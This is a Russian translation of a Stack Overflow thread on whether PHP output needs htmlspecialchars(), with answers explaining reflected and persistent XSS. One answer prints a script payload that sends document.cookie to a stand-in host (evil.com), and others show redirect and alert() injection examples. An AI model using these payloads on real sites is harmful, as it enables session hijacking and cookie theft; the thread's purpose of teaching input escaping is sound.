Нужно ли так много убегать?

Я просматривал руководство по php.net и у него была эта строка кода:

Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.

Внизу написано:

htmlspecialchars() гарантирует, что любые символы, которые являются специальными в html, правильно закодированы, чтобы люди не могли внедрить HTML-теги или Javascript на вашу страницу.

Это действительно необходимо?

Может ли кто-нибудь вставить вредоносный код в эту строку? О чем беспокоиться? Можно ли что-то внедрить в эту строку для запуска кода php? Они просто приучают людей наблюдать за этим, хотя в этом случае никакой угрозы нет?


person qwertymk    schedule 27.03.2012    source источник
comment
Да, это так. Даже если не было проблем с безопасностью (есть, см. ответы), очень раздражает, если страница ломается (или молча вырезает часть ввода) из-за того, что кто-то вводит совершенно правильные данные, которые просто содержат некоторые символы, используемые в HTML-разметке. .   -  person    schedule 27.03.2012
comment
Я думал, ты звонишь htmlspecialcharacters дважды   -  person Shiplu Mokaddim    schedule 27.03.2012
comment
Хорошее эмпирическое правило при написании веб-приложений: никогда не доверять пользовательскому вводу.   -  person NullUserException    schedule 27.03.2012


Ответы (8)


Если чье-то имя оказалось:

<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>

Тогда на вашем сайте может появиться червь. По сути, червь — это всего лишь сценарий, который берет файлы cookie сеанса пользователя, входит в систему, а затем выполняет вредоносные действия, копируя себя по мере того, как его просматривает все больше людей.

person Tim Withers    schedule 27.03.2012
comment
Отличный пример кражи файлов cookie. +1. - person ceejayoz; 27.03.2012

Да, это необходимо. См. Википедию для получения информации об уязвимостях межсайтового скриптинга.

PHP нельзя запустить с помощью XSS, но злоумышленник может украсть файл cookie сеанса. Потенциально опасно, если этот файл cookie сеанса предназначен, например, для администратора CMS.

person ceejayoz    schedule 27.03.2012
comment
Что могло заставить это произойти в этом случае? Если он вставит что-то вроде '; phpinfo(); '? - person qwertymk; 27.03.2012
comment
Нет, он добавил бы код JavaScript, который делает запрос, который передает значение пользователя document.cookie на сторонний сервер. Как я уже сказал, PHP нельзя запустить с помощью такого эксплойта (если только вы не eval используете переменные $_POST или что-то в этом роде). - person ceejayoz; 27.03.2012
comment
@ceejayoz evaling пользовательский ввод... Это всегда блестящая идея! - person NullUserException; 27.03.2012
comment
@NullUserException Я видел, как это происходит. Страшные времена! Я также видел множество вызовов include() с использованием неэкранированных, непроверенных данных POST (например, include($_POST['page'] . '.php');) - person ceejayoz; 27.03.2012
comment
Но есть ли опасность для сервера? Может ли он запустить php-код на сервере? - person qwertymk; 27.03.2012
comment
@qwertymk 1. Какая разница? Опасность для сайта и его пользователей достаточно велика. Зачем быть ленивым? 2. Возможно, если XSS позволит пользователю получить административный доступ к вашему сайту. Если вы не предотвращаете XSS, у вас, вероятно, есть другие дыры в безопасности, которыми они могут воспользоваться. - person ceejayoz; 27.03.2012
comment
@qwertymk Код PHP не может быть выполнен через XSS, если вы не вводите ввод через что-то вроде eval() или shell_exec() на стороне сервера. - person MrCode; 27.03.2012

Это не только для безопасности. Например, если вы получите Fred&Jen как $_POST['name'], XML-документ станет недействительным.

person Tchoupi    schedule 27.03.2012

Угроза здесь — XSS. Это код Javascript, который злоумышленник попытается выполнить с помощью атаки XSS.

Чтобы убедиться в этом, удалите htmlspecialchars(), а затем опубликуйте это как name:

<script>alert('xss')</script>

Вы увидите, что ваш код PHP распечатает это, и браузер выполнит Javascript. Наиболее распространены XSS-атаки на веб-приложения, в которых пользователь авторизовался. Успешная XSS-атака может прочитать файл cookie идентификатора сеанса жертвы с помощью document.cookie, а затем отправить его на веб-сайт злоумышленников, где злоумышленник может продолжить захват сеанса.

Эта атака известна как Reflective XSS. Более серьезным типом XSS является Persistent XSS, когда вы, например, сохраняете входные данные в базу данных, а затем распечатываете их на своей домашней странице для просмотра всеми пользователями или на любой другой странице. Постоянный XSS гораздо более опасен, потому что любой посетитель страницы, на которой сохраняется XSS, может быть атакован без необходимости повторного запуска атаки для каждой жертвы.

person MrCode    schedule 27.03.2012

Если вы будете печатать только то, что публикуют эти же пользователи, они не могут причинить большого вреда ни вам, ни другим пользователям. Тем не менее, это полезно, так как пользователь может использовать «>» и «‹», что испортит представление контента.

Однако, если вы собираетесь показывать контент, который присылают другие пользователи, это становится гораздо более опасным.

Пользователь может вставлять что угодно, от ссылок на другие сайты до javascript.

<script>window.location = 'http://www.evilsite.com';</script>

И все пользователи, которые заходят на сайт, на котором отображается этот фрагмент пользовательского контента, будут перенаправлены на сайт evilsite.

person gintas    schedule 27.03.2012
comment
Вы говорите, что отражающий XSS не может причинить никакого вреда? Есть много способов использовать отражающий XSS, но только потому, что это не постоянный XSS, это не означает, что он неуязвим. - person MrCode; 27.03.2012

Да, кто-то может, например, внедрить некоторый код Javascript, который при отображении, например, перенаправит их на другой сайт (что довольно безвредно).

пример:

<script type="text/javascript">
window.location = "http://www.google.com/"
</script>

Перенаправил бы пользователя в Google, если бы он был опубликован без экранирования

person Bono    schedule 27.03.2012

PHP-код нельзя внедрить в это поле, так как он не оценивается интерпретатором PHP, однако он предоставляет потенциал для межсайтового скриптинга.

Вы можете проверить это, используя что-то вроде этого:

<form action="" method="POST">
<input type="text" name="name"/>
<input type="submit"/>
</form>

<?php
if(isset($_POST['name'])){?>
    Hi <?php echo htmlspecialchars($_POST['name']); ?>.
<?php}?>

Затем в поле «имя» отправьте этот код и посмотрите, что произойдет:

<script type="text/javascript">alert("P0WN3D");</script>
person Paul Bain    schedule 27.03.2012

Может ли кто-нибудь вставить вредоносный код в одну строку?
Да.

введите здесь описание изображения

person T.Rob    schedule 27.03.2012
comment
Забавно, но это SQL-инъекция, о которой я не спрашивал. - person qwertymk; 28.03.2012
comment
Правда ваш вопрос относится к уязвимостям на стороне клиента. С другой стороны, урок здесь тот же: никогда не визуализируйте несанитизированный ввод. Неважно, на стороне клиента, на стороне сервера, SQL, HTML, PHP, Perl, что угодно. Если вы пишете код, который принимает ввод из ненадежных источников, не визуализируйте ввод напрямую. - person T.Rob; 28.03.2012